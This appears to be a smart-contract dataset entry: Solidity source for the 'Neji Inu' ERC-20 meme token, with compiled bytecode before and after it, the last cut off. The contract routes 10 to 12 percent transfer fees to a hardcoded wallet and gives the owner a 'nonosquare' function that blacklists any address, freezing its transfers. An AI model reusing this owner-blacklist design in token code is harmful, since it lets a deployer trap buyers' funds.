fffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3610f29565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fb4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806113526025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561103a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806113e76023913960400191505060405180910390fd5b6110a6816040518060600160405280602681526020016113c160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111e89092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061113b81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a890919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611295576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561125a57808201518184015260208101905061123f565b50505050905090810190601f1680156112875780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611326576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a2063616e6e6f74207065726d6974207a65726f206164647265737342455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200aaa7c24989a758b166168b79254ba5efaf6c864bf241d5f11dbb9a74f66380764736f6c634300060c0033
{"success": true, "error": null, "results": {}}
5,626
0xbbfec8eb2f9623479a281b190bea80f2de162905
/** https://t.me/NEJIINU */ pragma solidity 0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract NejiInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "Neji Inu"; string private constant _symbol = "NEJI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x5440eFE2271e6Aeb03c59Bee7b6FE6050bd8d7F9); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 4; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1500000000 * 10**9; _maxWalletSize = 3000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e4a565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061296d565b6104b4565b60405161018e9190612e2f565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fec565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129a9565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d919061291e565b610633565b60405161021f9190612e2f565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612890565b61070c565b005b34801561025d57600080fd5b506102666107fc565b6040516102739190613061565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129ea565b610805565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a3c565b6108b7565b005b3480156102da57600080fd5b506102e3610991565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612890565b610a03565b6040516103199190612fec565b60405180910390f35b34801561032e57600080fd5b50610337610a54565b005b34801561034557600080fd5b5061034e610ba7565b005b34801561035c57600080fd5b50610365610c5e565b6040516103729190612d61565b60405180910390f35b34801561038757600080fd5b50610390610c87565b60405161039d9190612e4a565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c8919061296d565b610cc4565b6040516103da9190612e2f565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a3c565b610ce2565b005b34801561041857600080fd5b50610421610dbc565b005b34801561042f57600080fd5b50610438610e36565b005b34801561044657600080fd5b50610461600480360381019061045c91906128e2565b6113a1565b60405161046e9190612fec565b60405180910390f35b60606040518060400160405280600881526020017f4e656a6920496e75000000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611428565b8484611430565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb611428565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612f2c565b60405180910390fd5b60005b815181101561062f576001600660008484815181106105c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061062790613302565b91505061057b565b5050565b60006106408484846115fb565b6107018461064c611428565b6106fc8560405180606001604052806028815260200161372560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b2611428565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8e9092919063ffffffff16565b611430565b600190509392505050565b610714611428565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079890612f2c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61080d611428565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089190612f2c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108bf611428565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094390612f2c565b60405180910390fd5b6000811161095957600080fd5b610988606461097a8368056bc75e2d63100000611cf290919063ffffffff16565b611d6d90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d2611428565b73ffffffffffffffffffffffffffffffffffffffff16146109f257600080fd5b6000479050610a0081611db7565b50565b6000610a4d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e23565b9050919050565b610a5c611428565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae090612f2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610baf611428565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3390612f2c565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4e454a4900000000000000000000000000000000000000000000000000000000815250905090565b6000610cd8610cd1611428565b84846115fb565b6001905092915050565b610cea611428565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6e90612f2c565b60405180910390fd5b60008111610d8457600080fd5b610db36064610da58368056bc75e2d63100000611cf290919063ffffffff16565b611d6d90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd611428565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000610e2830610a03565b9050610e3381611e91565b50565b610e3e611428565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ecb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec290612f2c565b60405180910390fd5b600e60149054906101000a900460ff1615610f1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1290612fcc565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fab30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d63100000611430565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff157600080fd5b505afa158015611005573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102991906128b9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561108b57600080fd5b505afa15801561109f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c391906128b9565b6040518363ffffffff1660e01b81526004016110e0929190612d7c565b602060405180830381600087803b1580156110fa57600080fd5b505af115801561110e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113291906128b9565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111bb30610a03565b6000806111c6610c5e565b426040518863ffffffff1660e01b81526004016111e896959493929190612dce565b6060604051808303818588803b15801561120157600080fd5b505af1158015611215573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061123a9190612a65565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506714d1120d7b160000600f819055506729a2241af62c00006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161134b929190612da5565b602060405180830381600087803b15801561136557600080fd5b505af1158015611379573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139d9190612a13565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149790612fac565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611510576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150790612ecc565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115ee9190612fec565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561166b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166290612f6c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d290612e6c565b60405180910390fd5b6000811161171e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171590612f4c565b60405180910390fd5b6001600a819055506009600b81905550611736610c5e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117a45750611774610c5e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c7e57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561184d5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61185657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119015750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119575750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561196f5750600e60179054906101000a900460ff165b15611aad57600f548111156119b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b090612e8c565b60405180910390fd5b601054816119c684610a03565b6119d09190613122565b1115611a11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0890612f8c565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5c57600080fd5b601e42611a699190613122565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b585750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bae5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bc4576004600a819055506008600b819055505b6000611bcf30610a03565b9050600e60159054906101000a900460ff16158015611c3c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c545750600e60169054906101000a900460ff165b15611c7c57611c6281611e91565b60004790506000811115611c7a57611c7947611db7565b5b505b505b611c8983838361218b565b505050565b6000838311158290611cd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ccd9190612e4a565b60405180910390fd5b5060008385611ce59190613203565b9050809150509392505050565b600080831415611d055760009050611d67565b60008284611d1391906131a9565b9050828482611d229190613178565b14611d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5990612f0c565b60405180910390fd5b809150505b92915050565b6000611daf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061219b565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e1f573d6000803e3d6000fd5b5050565b6000600854821115611e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6190612eac565b60405180910390fd5b6000611e746121fe565b9050611e898184611d6d90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611eef577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f1d5781602001602082028036833780820191505090505b5090503081600081518110611f5b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ffd57600080fd5b505afa158015612011573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061203591906128b9565b8160018151811061206f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120d630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611430565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161213a959493929190613007565b600060405180830381600087803b15801561215457600080fd5b505af1158015612168573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b612196838383612229565b505050565b600080831182906121e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d99190612e4a565b60405180910390fd5b50600083856121f19190613178565b9050809150509392505050565b600080600061220b6123f4565b915091506122228183611d6d90919063ffffffff16565b9250505090565b60008060008060008061223b87612456565b95509550955095509550955061229986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237a81612566565b6123848483612623565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123e19190612fec565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061242a68056bc75e2d63100000600854611d6d90919063ffffffff16565b8210156124495760085468056bc75e2d63100000935093505050612452565b81819350935050505b9091565b60008060008